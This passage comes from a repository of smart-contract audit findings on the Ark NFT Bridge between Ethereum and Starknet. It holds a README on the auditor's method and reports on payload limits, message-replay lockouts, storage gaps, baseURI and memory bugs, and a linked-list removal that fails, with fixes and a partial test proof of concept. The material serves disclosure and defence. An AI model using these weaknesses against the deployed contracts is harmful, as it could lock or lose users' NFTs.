[Bridge.sol#L134-L136](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L134-L136) 9 | ```solidity 10 | if (payload.length >= MAX_PAYLOAD_LENGTH) { 11 | revert TooManyTokensError(); 12 | } 13 | ``` 14 | 15 | But if we check `bridge.cairo` we will find that this check is not implemented, we are not checking whether the payload length exceeds a certain value or not. 16 | 17 | [bridge.cairo#L292-L299](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L292-L299) 18 | ```cairo 19 | let mut buf: Array = array![]; 20 | req.serialize(ref buf); 21 | 22 | starknet::send_message_to_l1_syscall( 23 | self.bridge_l1_address.read().into(), 24 | buf.span(), 25 | ) 26 | .unwrap_syscall(); 27 | ``` 28 | 29 | This will make `L1Bridge` and `L2Bridge` work with different logic. where one of them restricts the payload length and other is not. 30 | 31 | ## Tools Used 32 | Manual Review 33 | 34 | ## Recommendations 35 | Implement the max payload check in `L2Bridge`. 36 | -------------------------------------------------------------------------------- /Others/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Auto withdrawed messages `L2->L1` will get reverted when replayed 3 | 4 | ## Vulnerability Details 5 | 6 | When withdrawing from `L2` to `L1` there is a feature called `auto withdraw` where instead of consuming the msg from the Starknet messaging protocol, it is consumed automatically by the Bridge by Admins. Where they can add the message from `L2` to be auto withdrawn in case it is not taken by the `Starknet` sequencer. 7 | 8 | [Messaging.sol#L46-L61](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Messaging.sol#L46-L61) 9 | ```solidity 10 | function addMessageHashForAutoWithdraw(uint256 msgHash) ... onlyOwner { 11 | bytes32 hash = bytes32(msgHash); 12 | 13 | if (_autoWithdrawn[hash] != WITHDRAW_AUTO_NONE) { 14 | revert WithdrawMethodError(); 15 | } 16 | 17 | _autoWithdrawn[hash] = WITHDRAW_AUTO_READY; 18 | emit MessageHashAutoWithdrawAdded(hash); 19 | } 20 | ``` 21 | 22 | The Bridge owner can add msgHash into auto-withdraw messages if that message is not added. 23 | 24 | When consuming the msg, we calculate its hash and if it was added into auto withdrew messages it will get consumed. 25 | 26 | [Messaging.sol#L69-L90](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Messaging.sol#L69-L90) 27 | ```solidity 28 | function _consumeMessageAutoWithdraw( 29 | snaddress fromL2Address, 30 | uint256[] memory request 31 | ) internal { 32 | bytes32 msgHash = keccak256( 33 | ❌️ abi.encodePacked( 34 | snaddress.unwrap(fromL2Address), 35 | uint256(uint160(address(this))), 36 | request.length, 37 | request) 38 | ); 39 | 40 | uint256 status = _autoWithdrawn[msgHash]; 41 | 42 | if (status == WITHDRAW_AUTO_CONSUMED) { 43 | revert WithdrawAlreadyError(); 44 | } 45 | 46 | _autoWithdrawn[msgHash] = WITHDRAW_AUTO_CONSUMED; 47 | } 48 | ``` 49 | 50 | When consuming the message we calculate it using its inputs on L2, and then set that msg to `WITHDRAW_AUTO_CONSUMED`. 51 | 52 | The problem is that this logic is correct if the msg is not replayable. i.e the msgHash cannot be replayed by implementing `nonce` or something. But this is not true. 53 | 54 | When computing the hash we are computing it using the sender from `L2`, `L1bridge`, and the payload data. 55 | 56 | The same `L2sender` can do more than one transaction from `L2` to `L1Bridge` is always the same. and now we need to see if the payload data is the same or not. 57 | 58 | Payload is the Hash of the `Request` object which consists of the following parameters. 59 | ```solidity 60 | struct Request { 61 | felt252 header; 62 | uint256 hash; 63 | 64 | address collectionL1; 65 | snaddress collectionL2; 66 | 67 | address ownerL1; 68 | snaddress ownerL2; 69 | 70 | string name; 71 | string symbol; 72 | string uri; 73 | 74 | uint256[] tokenIds; 75 | uint256[] tokenValues; 76 | string[] tokenURIs; 77 | uint256[] newOwners; 78 | } 79 | ``` 80 | 81 | This is the Request object in solidity which is the same in Starknet `L2` Bridge. All the variables will be the same if the message sent from `layer2` provides the same parameters (i.e he will send the NFT from `L2` to `L1` to the same address on `L1`). and now only the hash can achieve the uniqueness of the message hash. 82 | 83 | The Hash also, is not unique where it is calculated using `salt`, `collection`, `to_l1_address`, and `tokenIds`. and as we said, all these things can be replayed in more than one message, and for the `salt` itself, it is written by the user which can be written as the value in the previous message he requested. 84 | 85 | So in brief, the message from L2 can be Replayed and msgHash will be the same. Now what will happen if a message is `autoWithdrawed` and the same message is initiated before on `L2`. 86 | 87 | **First:** The message can't be auto withdrawn as it is value in the mapping is `CONSUMED` and to add it to auto withdrawal, it should have auto withdraw to `NONE` not `CONSUMED`. 88 | 89 | **Second:** The message will still be unable to get consumed by Starknet protocol, as when consuming the message from Starknet, the message should not be auto-withdrawn. 90 | 91 | [Messaging.sol#L112-L116](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Messaging.sol#L112-L116) 92 | ```solidity 93 | function _consumeMessageStarknet( ... ) internal { 94 | // Will revert if the message is not consumable. 95 | bytes32 msgHash = starknetCore.consumeMessageFromL2( 96 | snaddress.unwrap(fromL2Address), 97 | request 98 | ); 99 | 100 | // If the message were configured to be withdrawn with auto method, 101 | // starknet method is denied. 102 | ❌️ if (_autoWithdrawn[msgHash] != WITHDRAW_AUTO_NONE) { 103 | revert WithdrawMethodError(); 104 | } 105 | } 106 | ``` 107 | 108 | We should keep in mind that replaying the message from Starknet to Ethereum is a normal thing is `StarknetMessaging` protocol, which supports replaying the messages more than one time without a problem. 109 | 110 | This will result in preventing consuming the message, and withdrawing NFTs if the `msgHash` is the same. 111 | 112 | This issue affects `msgHash` which was pointed to be `autoWithdraw` before or that is added to `autoWithdraw`. 113 | 114 | ## Proof of Concept 115 | - MsgA was AutoWithdrawen message. 116 | - UserA initiated a message that is the same as MsgA. 117 | - The MsgA has the same hash as the msg initiated by UserA. 118 | - Starknet Messaging protocol accepted the message, and add it. 119 | - UserA called `L1Bridge::withdrawTokens()`. 120 | - The tx reverted as that msgHash was auto-withdrawn before. 121 | - The NFTs in that message are lost and can't be withdrawn. 122 | 123 | ## Impacts 124 | - Losing of NFTs in the messages that has a `msgHash` matchs on of the Autowithdrawed messages. 125 | - Unable to auto withdraw the same msgHash twice, which is an acceptable thing in StarknetMessaging protocol. 126 | 127 | ## Tools Used 128 | Manual Review 129 | 130 | ## Recommendations 131 | There are a lot of possible solutions for this issue, the best thing is to support the replaying of the msg from `L2` the same as `Starknet Messaging` protocol works. But for simple mitigation, we can implement a function to reset the msg to `NONE` by admins. So if this thing occurs, the Admins can reset the msgHash into `NONE` in auto, which will allow consuming the message either by Starknet or auto. 132 | -------------------------------------------------------------------------------- /Others/M-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Some dynamic and on-chain NFTs are unbridgable from `L1` 3 | 4 | ## Vulnerability Details 5 | There is a check that prevents Bridging large NFTs from `L1` to `L2` where there is a variable `MAX_PAYLOAD_LENGTH` which prevents the data we are bridging from `L1` to `L2` to exceeds. 6 | 7 | [Bridge.sol#L134-L136](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L134-L136) 8 | ```solidity 9 | uint256 constant MAX_PAYLOAD_LENGTH = 300; 10 | ... 11 | function depositTokens( ... ) { 12 | ... 13 | uint256[] memory payload = Protocol.requestSerialize(req); 14 | ❌️ if (payload.length >= MAX_PAYLOAD_LENGTH) { 15 | revert TooManyTokensError(); 16 | } 17 | ... 18 | } 19 | ``` 20 | The current value is `300` (300 elements in an array), which ensures that the user will not get their NFTs stuck in the bridge. 21 | 22 | We are talking about transferring a single NFT token now. 23 | 24 | This check is used to prevent bridging large numbers of NFTs, by doing calculations we will find that we are using. 25 | - 7 slots: `header`, `hash`, `collectionL1/L2`, `ownerL1/L2` 26 | - 9 slots: `name`, `symbol`, `baseURI` (this is the minimum) 27 | - 3 slots: single tokenId (1 for length two for u256 value) 28 | - 2 slots: `tokenValues[]` and `newOwners[]` array if they are empty 29 | 30 | So the total is `21` slots are used in minimum with + the slots used for `tokenURI` array. 31 | 32 | So we will end up having `279` slot for our NFT token. `2` are used for string length and pendingString length, so we only have `277` slots. 33 | 34 | Each slot takes `31` character length at max (flet252 in Starknet). so the number of characters we can transfer is `31 * 277 = 8587`. 35 | 36 | Now we need to check is `8587` string length is enough for a single `tokenURI`? 37 | 38 | If we are talking about normal NFTs (off-chain), then the answer is yes. But what if the NFT is a dynamic NFT that stores the data on-chain? 39 | 40 | Dynamic NFTs (on-chain) NFTs store the SVG image as `Base64` encoding in the `tokenURI`, this means that the full data of the NFT is on-chain, and they are storing it in the `tokenURI`. so the value returned from `tokenURI` is a large-length string output. 41 | 42 | Since the maximum number of characters we can put for transferring a single NFT is `8587`, this will prevent us from transferring these NFTs (an SVG with 5KB size can take 8000 characters in some situations) and 5KB size is a relatively small sized/quality SVG image. 43 | 44 | This will make some on-chain/dynamic NFTs unable to be Bridged from `L1` to `L2` as even transferring a single NFT will exceed the payload length. 45 | 46 | ## Proof of Concept 47 | We will prove that a small-sized SVG image is encoded into more than `8587` characters. 48 | 49 | 1. Open this website [base64.guru](https://base64.guru/converter/encode/image) that is used to convert SVG into a Base64. 50 | 2. We uploaded an image of `~23.3KB` for testing, [link](https://www.dropbox.com/scl/fi/rli8la9rf09xc86059rlf/11_vector-ai.svg?rlkey=8q22p1ywy6cwkdlimhyu7cr03&st=azs9pvai&dl=0). 51 | 3. Download the image, upload it, and encode it. 52 | 4. Choose the Data URI encoding type. 53 | 5. Copy the output `Base64` and check for its length. 54 | 6. You can use `node` script to declare the string to it, and then retrieve its length. 55 | 7. The output length is `31031`. 56 | 57 | By doing calculations to determine the minimum SVG image size that will exceed `300` payload length: `(8587 ÷ 31031) × 23.3` ~= `6.45 KB`. 58 | 59 | So if the SVG image size is >= `6.45 KB` and it is an on-chain/dynamic NFT encoded on-chain, bridging even a single token for that NFT collection is impossible. 60 | 61 | ## Impact 62 | Inability to bridge some on-chain/dynamic NFTs from `L1` to `L2`. 63 | 64 | ## Tools Used 65 | Manual Review 66 | 67 | ## Recommendations 68 | Since limiting the Payload length is important, and even increasing it is not the best solution. We need to support transferring NFTs without `tokenURIs`, whether they have a base URI or not. 69 | 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Ark NFT Bridge Contest CodeHawks 2 | 3 | This is the reposatory of the Issues subitted by [Al-Qa'qa'](https://x.com/Al_Qa_qa) on [Ark NFT Bridge](https://x.com/ArkProjectNFTs) contest on [Codehawks](https://www.codehawks.com/) 4 | 5 | This is a new strategy for me where I categorized findings according to there Flow. It is like Separating the hope codebase into chunks and focusing on each chunk separately, similar to Divide and Conquer algorithms. 6 | 7 | Using this methodology I managed to win the contest reaching 1st place, finding all High findings in the contest (5 Highs), 3/6 Medium findings, and 5/6 Low findings, besides other findings that were downgraded to informational, and some findings were invalid. 8 | 9 | The process is simple. 10 | 11 | 1. Don't revise the whole codebase at once, this is a Bridge contract focused on Bridging NFTs between Ethereum and Starknet. First, check the flow from Ethereum to Starknet. Then, from Stakrknet to Ethereum, etc... 12 | 13 | 2. At this point, there are some Bugs you will find, maybe the obvious ones, store them in you Private GitHub repo categorizing them into there flow. 14 | 15 | 3. After revising all flow of execution, you should have understood all the codebase. You can make a hole review for it as total in that point. 16 | 17 | 4. After revising each flow separately, getting bugs, and revising the Hole Codebase, you should take each flow separately and dig too deep in it. Focusing in that flow itself, besides putting other flows of executions in your eyes, as the complex can happen in Flow1 if something occurs in Flow2, so you should go deep into each flow, to get all bugs it has that will occur if any state changes occur in the other flows. 18 | 19 | --- 20 | 21 | I will explain each folder, where each folder explains a flow of execution or a separatable chunk in a codebase that can be revised alone. 22 | 23 | - `L1 -> L2 Pack`: Has all issues that relate to Bridging NFTs from L1 (Ethereum) to L2 (Starknet) 24 | - `L2 -> L1 Pack`: Has all issues that relate to Bridging NFTs from L2 (Starknet) to L1 (Ethereum) 25 | - `Initializer Pack`: Since The Protocol is an Upgradable contract, I made the upgrading logic from the L1 Bridge (Ethereum Bridge) in a single flow 26 | - `Stark Init Pack`: Same in L2 Bridge (Starknet Bridge) it is an Upgradable contract too, so I made its upgradability process in another flow 27 | - `TokenUtils Pack`: Before Bridging Tokens, there are functions that check the collection type ERC721, metadata, etc..., I separated its logic in a single folder 28 | - `Canceling Messages`: When Bridging NFTs from L1 to L2 the message can revert on L2 side, so there is a feature in Starknet Messaging core protocol to cancel your message, I separated it to. 29 | - `Collection Upgrade`: The collections (NFT collections) that are made in the destination chain are upgradable (this is the design of Ark Bridge), so upgrading collection has some functions like changing ownership, upgrading implementation contracts, deploying new collections, etc... I separated it too. 30 | - `WhiteListing Logic pack`: Ark Bridge has WhiteListing logic that makes only whitelisted collections are able to get Bridged, I separated this too in a separate folder as the logic of whitelisting new NFTs was a bit complex. 31 | - `Others`: Other issues that can't get grouped in a single flow or a single category, I made them in this folder. 32 | 33 | --- 34 | 35 | So in brief, the Execution flow strategy is not new, but in this new strategy we are not stuck with just execution flows, we are trying to separate our codebase into pieces that don't have a direct relationship with each other. Using this method we can focus more on a single piece of code and get all the issues it contains. 36 | 37 | After understanding the full codebase, and storing the issues, we will have a clean codebase that doesn't have `audit` tage on every line, being able to revise our issues in a single piece of code, revising the Hole codebase will be easy as we will revise a single flow/piece of code deeply and try to know if another flow will affect it (this is done after understanding all of the codebases). 38 | 39 | And thats it, hope this repo is useful to you guys. 40 | 41 | - Twitter: [@Al_qa_qa](https://x.com/Al_Qa_qa) 42 | - Audit Portfolio: https://github.com/Al-Qa-qa/audits 43 | 44 | -------------------------------------------------------------------------------- /Stark Init Pack/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | No Storage Gap for Stark L2 Bridge 3 | 4 | ## Vulnerability Details 5 | 6 | In upgradable contracts, there should be a storage location for variables to get added freely without causing any storage collision. In `Bridge.sol` we can see that the contract inherits from a lot of contracts each of them has its own variables. 7 | 8 | [bridge.cairo#L62-L87](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L62-L87) 9 | ```cairo 10 | struct Storage { 11 | ... 12 | // Bridge enabled flag 13 | enabled: bool, 14 | 15 | #[substorage(v0)] 16 | ❌️ ownable: OwnableComponent::Storage, 17 | } 18 | ``` 19 | 20 | We are putting the ownable sub-storage after the main storage so if the Bridge storage took slot(0, 1, ..., 10). Ownable will take slots(11, 12). Any upgrade by adding a variable to the Bridge will result in Storage Collision. 21 | 22 | The `Bridge.cairo` is intended to be an upgradable contract, where we can easily change its ClassHash from `BridgeUpgradeImpl::upgrade`. 23 | 24 | [bridge.cairo#L184-L198](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L184-L198) 25 | ```cairo 26 | impl BridgeUpgradeImpl of IUpgradeable { 27 | fn upgrade(ref self: ContractState, class_hash: ClassHash) { 28 | ensure_is_admin(@self); 29 | 30 | ❌️ match starknet::replace_class_syscall(class_hash) { ... }; 31 | } 32 | } 33 | ``` 34 | 35 | So we will not be able to upgrade the contract and add new variables as Storaage Collision will occur. 36 | 37 | The case is the same in `erc721_bridgeable`, where we are importing the sub storage in the beginning, and we do not have any gap. 38 | 39 | [erc721_bridgeable.cairo#L37-L47](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/token/erc721_bridgeable.cairo#L37-L47) 40 | ```cairo 41 | struct Storage { 42 | bridge: ContractAddress, 43 | /// token_uris is required if we want uris not derivated from base_uri 44 | token_uris: LegacyMap, 45 | #[substorage(v0)] 46 | erc721: ERC721Component::Storage, 47 | #[substorage(v0)] 48 | src5: SRC5Component::Storage, 49 | #[substorage(v0)] 50 | ownable: OwnableComponent::Storage, 51 | } 52 | ``` 53 | 54 | ## Impact 55 | Inability to upgrade these contracts if a new variable will be added. 56 | 57 | ## Tools Used 58 | Manual Review 59 | 60 | ## Recommendations 61 | 1. Move the Sub Storage from the Bottom to the Top, and make the main contract variables in the last 62 | 2. Add a Gap to preserve Storage Slots for Variables that can be added in the future. 63 | 64 | ```diff 65 | diff --git a/apps/blockchain/starknet/src/bridge.cairo b/apps/blockchain/starknet/src/bridge.cairo 66 | index 23cbf8a..a12549c 100644 67 | --- a/apps/blockchain/starknet/src/bridge.cairo 68 | +++ b/apps/blockchain/starknet/src/bridge.cairo 69 | @@ -60,6 +60,9 @@ mod bridge { 70 | 71 | #[storage] 72 | struct Storage { 73 | + #[substorage(v0)] 74 | + ownable: OwnableComponent::Storage, 75 | + 76 | // Bridge address on L1 (to allow it to consume messages). 77 | bridge_l1_address: EthAddress, 78 | // The class to deploy for ERC721 tokens. 79 | @@ -81,9 +84,8 @@ mod bridge { 80 | 81 | // Bridge enabled flag 82 | enabled: bool, 83 | - 84 | - #[substorage(v0)] 85 | - ownable: OwnableComponent::Storage, 86 | + 87 | + __gap: [u128; 39], 88 | } 89 | 90 | #[constructor] 91 | ``` 92 | 93 | The same thing should be made for `erc721_bridgeable`. 94 | -------------------------------------------------------------------------------- /TokenUtils Pack/L-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Checking `baseURI` value will succeed even if the returned string is empty 3 | 4 | ## Vulnerability Details 5 | When Bridging tokens we are getting their URIs. We first try to get the baseURI, and if it contains value we just return it and ignore getting each NFT `tokenURI` separately. 6 | 7 | [TokenUtil.sol#L89-L92](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L89-L92) 8 | ```solidity 9 | // How the URI must be handled. 10 | // if a base URI is already present, we ignore individual URI 11 | // else, each token URI must be bridged and then the owner of the collection 12 | // can decide what to do 13 | ``` 14 | 15 | If we check how the returned string value is compared we will find out that the `returnedValue` will always pass the check. 16 | 17 | [TokenUtil.sol#L158](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L158) 18 | ```solidity 19 | function _callBaseUri(address collection) ... { 20 | ... 21 | for (uint256 i = 0; i < 2; i++) { 22 | bytes memory encodedParams = encodedSignatures[i]; 23 | assembly { 24 | ❌️ success := staticcall(gas(), collection, add(encodedParams, 0x20), mload(encodedParams), 0x00, 0x20) 25 | if success { 26 | returnSize := returndatasize() 27 | ❌️ returnValue := mload(0x00) 28 | ... 29 | } 30 | } 31 | ❌️ if (success && returnSize >= 0x20 && returnValue > 0) { 32 | return (true, abi.decode(ret, (string))); 33 | } 34 | } 35 | return (false, ""); 36 | } 37 | ``` 38 | 39 | - when we make the call we are storing the returned data at slot `0x00`(returnOffset) with length `0x20`(returnSize) 40 | - Then, we store this value in `returnValue` 41 | - Then, we compare it to be greater than `0` 42 | 43 | Now the issue is that the first `32 bytes` in the returned data of a string variable is not its value nor its length it is the offset we are starting from. 44 | 45 | To make it simpler if the string is < 32 bytes in length the returned bytes will be as follows: 46 | ```shell 47 | [0x00 => 0x20]: String Length Offset 48 | [0x20 => 0x40]: String Length value 49 | [0x40 => 0x60]: String value in Hexa 50 | ``` 51 | 52 | Here is the returned bytes when the returned value is `baseURI()`: 53 | ```shell 54 | [000]: 0000000000000000000000000000000000000000000000000000000000000020 55 | [020]: 0000000000000000000000000000000000000000000000000000000000000009 56 | [040]: 6261736555524928290000000000000000000000000000000000000000000000 57 | ``` 58 | 59 | So when copying the first 32 bytes from slot `0x00` we are storing the offset not the length, which will make the value always be > 0, leading to pass the check even if `baseUri()` returned an empty string. 60 | 61 | We should keep in mind that an empty string base URI is the default value for the base URI according to `ERC721`, so returning an empty string means it is not set, and we should not treat it as a valid `baseURI`. 62 | 63 | ## Impact 64 | Passing baseURI even if it returns an empty string (not present), and not getting each tokenURIs value separately, which is not how the function should work. 65 | 66 | ## Tools Used 67 | Manual Review and Foundry 68 | 69 | ## Recommendations 70 | Assign `returnValue` to be the string length value, not the offset loading the value from the offset. 71 | 72 | This can be made by copying the first `0x40` bytes of the string, where the first `0x20 bytes` will contain the offset and the second `0x20 bytes`will contain the length (in normal Solidity encoding). 73 | 74 | So we will store `0x40` bytes at memory slot `0x00` this is normal as `0x00` and `0x20` are not used, and then `mload(0x20)` to get the length. 75 | 76 | ```diff 77 | diff --git a/apps/blockchain/ethereum/src/token/TokenUtil.sol b/apps/blockchain/ethereum/src/token/TokenUtil.sol 78 | index 41cc17d..1c0a26c 100644 79 | --- a/apps/blockchain/ethereum/src/token/TokenUtil.sol 80 | +++ b/apps/blockchain/ethereum/src/token/TokenUtil.sol 81 | @@ -152,10 +152,10 @@ library TokenUtil { 82 | for (uint256 i = 0; i < 2; i++) { 83 | bytes memory encodedParams = encodedSignatures[i]; 84 | assembly { 85 | - success := staticcall(gas(), collection, add(encodedParams, 0x20), mload(encodedParams), 0x00, 0x20) 86 | + success := staticcall(gas(), collection, add(encodedParams, 0x20), mload(encodedParams), 0x00, 0x40) 87 | if success { 88 | returnSize := returndatasize() 89 | - returnValue := mload(0x00) 90 | + returnValue := mload(0x20) 91 | ret := mload(0x40) 92 | mstore(ret, returnSize) 93 | returndatacopy(add(ret, 0x20), 0, returnSize) 94 | ``` 95 | -------------------------------------------------------------------------------- /TokenUtils Pack/L-02.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Free Memory Pointer is updated incorrectly in `TokenUtils::_callBaseUri()` 3 | 4 | ## Vulnerability Details 5 | 6 | When we get the base URI, we modify the free memory pointer. Then, return it to the correct value, but handling it is not `100%` correct. 7 | 8 | [TokenUtil.sol#L156-L164](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L156-L164) 9 | ```solidity 10 | if success { 11 | returnSize := returndatasize() 12 | returnValue := mload(0x00) 13 | 1: ret := mload(0x40) 14 | 2: mstore(ret, returnSize) 15 | 3: returndatacopy(add(ret, 0x20), 0, returnSize) 16 | // update free memory pointer 17 | 4: mstore(0x40, add(add(ret, 0x20), add(returnSize, 0x20))) 18 | } 19 | ``` 20 | 21 | 1. We store the Free memory pointer value in `ret` (preserve it) 22 | 2. We stored the size of the returned data (+ 0x20) 23 | 3. Copying the returned data into memory (+ returned data length) 24 | 4. When we update the free memory pointer we will find that it is updated like this: 25 | 26 | `FMP = old FMP value + 0x20 + returnSize + 0x20` 27 | 28 | So we are adding an additional `0x20` without reason as the value should be increased by `0x20 + returnSize` not `0x20 + returnSize + 0x20`. 29 | 30 | ## Impact 31 | Incorrect Memory Managment. 32 | 33 | ## Tools Used 34 | Foundry Debugger 35 | 36 | ## Recommendations 37 | Don't add this excessive `0x20` value. 38 | 39 | ```diff 40 | diff --git a/apps/blockchain/ethereum/src/token/TokenUtil.sol b/apps/blockchain/ethereum/src/token/TokenUtil.sol 41 | index 41cc17d..7054cfc 100644 42 | --- a/apps/blockchain/ethereum/src/token/TokenUtil.sol 43 | +++ b/apps/blockchain/ethereum/src/token/TokenUtil.sol 44 | @@ -160,7 +160,7 @@ library TokenUtil { 45 | mstore(ret, returnSize) 46 | returndatacopy(add(ret, 0x20), 0, returnSize) 47 | // update free memory pointer 48 | - mstore(0x40, add(add(ret, 0x20), add(returnSize, 0x20))) 49 | + mstore(0x40, add(add(ret, 0x20), returnSize)) 50 | } 51 | } 52 | if (success && returnSize >= 0x20 && returnValue > 0) { 53 | ``` 54 | 55 | -------------------------------------------------------------------------------- /TokenUtils Pack/M-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | `Tokenutil::_callBaseUri` will always fail because of different reasons 3 | 4 | ## Vulnerability Details 5 | 6 | When Bridging NFT tokens we need to handle their `URIs`, according to there `Base URI` if existed, or each NFT `tokenURI` separately if not. 7 | 8 | [TokenUtil.sol#L89-L92](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L89-L92) 9 | ```solidity 10 | // How the URI must be handled. 11 | // if a base URI is already present, we ignore individual URI 12 | // else, each token URI must be bridged and then the owner of the collection 13 | // can decide what to do 14 | ``` 15 | 16 | Now if we check how getting `baseURI` is done, we will find that the logic contains a log of mistakes. 17 | 18 | [TokenUtil.sol#L150-L155](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L150-L155) 19 | ```solidity 20 | function _callBaseUri(address collection) ... { 21 | ... 22 | ❌️ bytes[2] memory encodedSignatures = [abi.encodeWithSignature("_baseUri()"), abi.encodeWithSignature("baseUri()")]; 23 | 24 | for (uint256 i = 0; i < 2; i++) { 25 | bytes memory encodedParams = encodedSignatures[i]; 26 | assembly { 27 | success := staticcall(gas(), collection, add(encodedParams, 0x20), mload(encodedParams), 0x00, 0x20) 28 | 29 | ``` 30 | 31 | First, we are calling `_baseUri()`, then if the call fails we call `baseUri()` function to get the `baseURI`, but calling these two functions will always fail (`100%`) because of the following reasons. 32 | 33 | ### 1. Calling internal functions will always fail 34 | 35 | `_baseUri()` is not a public function, it is an internal function in `ERC721`, so calling this will always revert, i.e failed. 36 | 37 | ### 2. Incorrect function naming will lead to calling different function signature 38 | The signature for `base URI` is `_baseURI` by making the three letters UpperCase, but in the code we are making just the `U` is in upper case and `r`, `i` are small letters, this will result in a totally different signature. 39 | 40 | ### 3. There is no function signature named `baseURI()` or `baseUri()` in NFT contract 41 | The third thing is that `baseUri/baseURI()` is not even exist in `ERC721`, and if we checked the modified version for ERC721 made by the protocol [`ERC721Bridgeable`](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/ERC721Bridgeable.sol), we will find that it is also not implementing any public function to retrieve that baseURI separately. 42 | 43 | So by collecting all these things together, we can conclude that retrieving the `baseURI` will always fail. 44 | 45 | This mean we will always end up looping through all NFT items we want to Bridge, getting their URIs to Bridge a large number of tokens, even if the collection supports `baseURI`. 46 | 47 | [TokenUtil.sol#L97-L103](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/TokenUtil.sol#L97-L103) 48 | ```solidity 49 | else { 50 | string[] memory URIs = new string[](tokenIds.length); 51 | for (uint256 i = 0; i < tokenIds.length; i++) { 52 | URIs[i] = c.tokenURI(tokenIds[i]); 53 | } 54 | return (c.name(), c.symbol(), "", URIs); 55 | } 56 | ``` 57 | 58 | ## Impacts 59 | - `100%` DoS for the function used to retrieve `baseURI` 60 | - The cost for Bridging large tokens will increase significantly when Bridging Large NFTs amount as we will loop through all there URIs to get them. 61 | - payload size will increase a lot without knowing, which can even make NFT end up locking in the Bridge Due to a payload size limit in Starknet (This is a known issue, but we are highlighting that the payload will increase without knowing. When Bridging `20` NFTs for example supports base URI, the user thinks that tokenURIs array is `0`, but it will actually be `20` which will make the payload size increase significantly) 62 | 63 | ## Tools Used 64 | Manual Review 65 | 66 | ## Recommendations 67 | 1. Remove calling `_baseUri()` as it is an internal function which will always fail. 68 | 2. Change the function name to call from `baseUri()` to `baseURI()`. 69 | 3. In `ERC721Bridgeable` make a public function named `baseURI()` that returns the base URI value. 70 | 71 | _NOTE: We planned to group this bug into only one issue, although it contains three different root causes as we illustrated. But we think that all of them relate to the same thing. If the Judger decides to separate into different issues, Please consider this issue to be dup for all separated issues (as it mentioned all root causes)._ 72 | -------------------------------------------------------------------------------- /WhiteListing Logic pack/H-01.md: -------------------------------------------------------------------------------- 1 | ## Title 2 | Unable to remove whitelist collection because of incorrect Linked List element removing logic 3 | 4 | ## Summary 5 | Because of the incorrect implementation of removing an element from a Linked List, removing whitelisted NFTs will not be possible. 6 | 7 | ## Vulnerability Details 8 | 9 | This issue is related to Linked List Data Structures. 10 | 11 | The current Data Structure used for Storing `WhiteListed` NFTs on `Starknet` is Linked List. In Ethereum, we are using arrays, but the Protocol preferred to use LinkedList in Starknet. 12 | 13 | When removing an element from a linked list, we need to start from the `Head` then go to the `Next`, then `Next` ... till we reach the element. But in the current removing logic, the protocol forgot to Move to the `Next` element when removing. 14 | 15 | [bridge.cairo#L523-L537](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L523-L537) 16 | ```cairo 17 | // removed element from linked list 18 | loop { 19 | let (active, next) = self.white_listed_list.read(prev); 20 | if next.is_zero() { 21 | // end of list 22 | break; 23 | } 24 | if !active { 25 | break; 26 | } 27 | if next == collection { 28 | let (_, target) = self.white_listed_list.read(collection); 29 | self.white_listed_list.write(prev, (active, target)); 30 | break; 31 | } 32 | // @audit where is `prev = next` step 33 | }; 34 | ``` 35 | 36 | As we can see from the `loop` we are just reading the `prev` element, which is the `head` when beginning iteration, check for the next element if it is zero, or not activated. and check for the next element to be the collection we need to remove, But when we finish the iteration, we are not moving a step forward i.e `prev = next`, so this will make us loop in an infinite loop, leading to the tx reverted in the last because of the consumption of all gas. 37 | 38 | This is not the case when adding new element, where the team handled it correctly. 39 | 40 | [bridge.cairo#L512](https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/starknet/src/bridge.cairo#L512) 41 | ```cairo 42 | // find last element 43 | loop { 44 | ... 45 | @> prev = next; 46 | }; 47 | ``` 48 | 49 | This will make removing any element in the list except `first` one in most cases unable to get removed. 50 | 51 | ## Proof of Concept 52 | 53 | We made a simple Script to demonstrate how removing an element will not succeed, and the tx will revert when doing this. 54 | 55 | Add this test in `apps/blockchain/starknet/src/tests/bridge_t.cairo`. 56 | 57 | ```cairo 58 | #[test] 59 | fn auditor_whitelist_collection_remove_collection_dos_issue() { 60 | let erc721b_contract_class = declare("erc721_bridgeable"); 61 | 62 | let BRIDGE_ADMIN = starknet::contract_address_const::<'starklane'>(); 63 | let BRIDGE_L1 = EthAddress { address: 'starklane_l1' }; 64 | 65 | let bridge_address = deploy_starklane(BRIDGE_ADMIN, BRIDGE_L1, erc721b_contract_class.class_hash); 66 | let bridge = IStarklaneDispatcher { contract_address: bridge_address }; 67 | 68 | 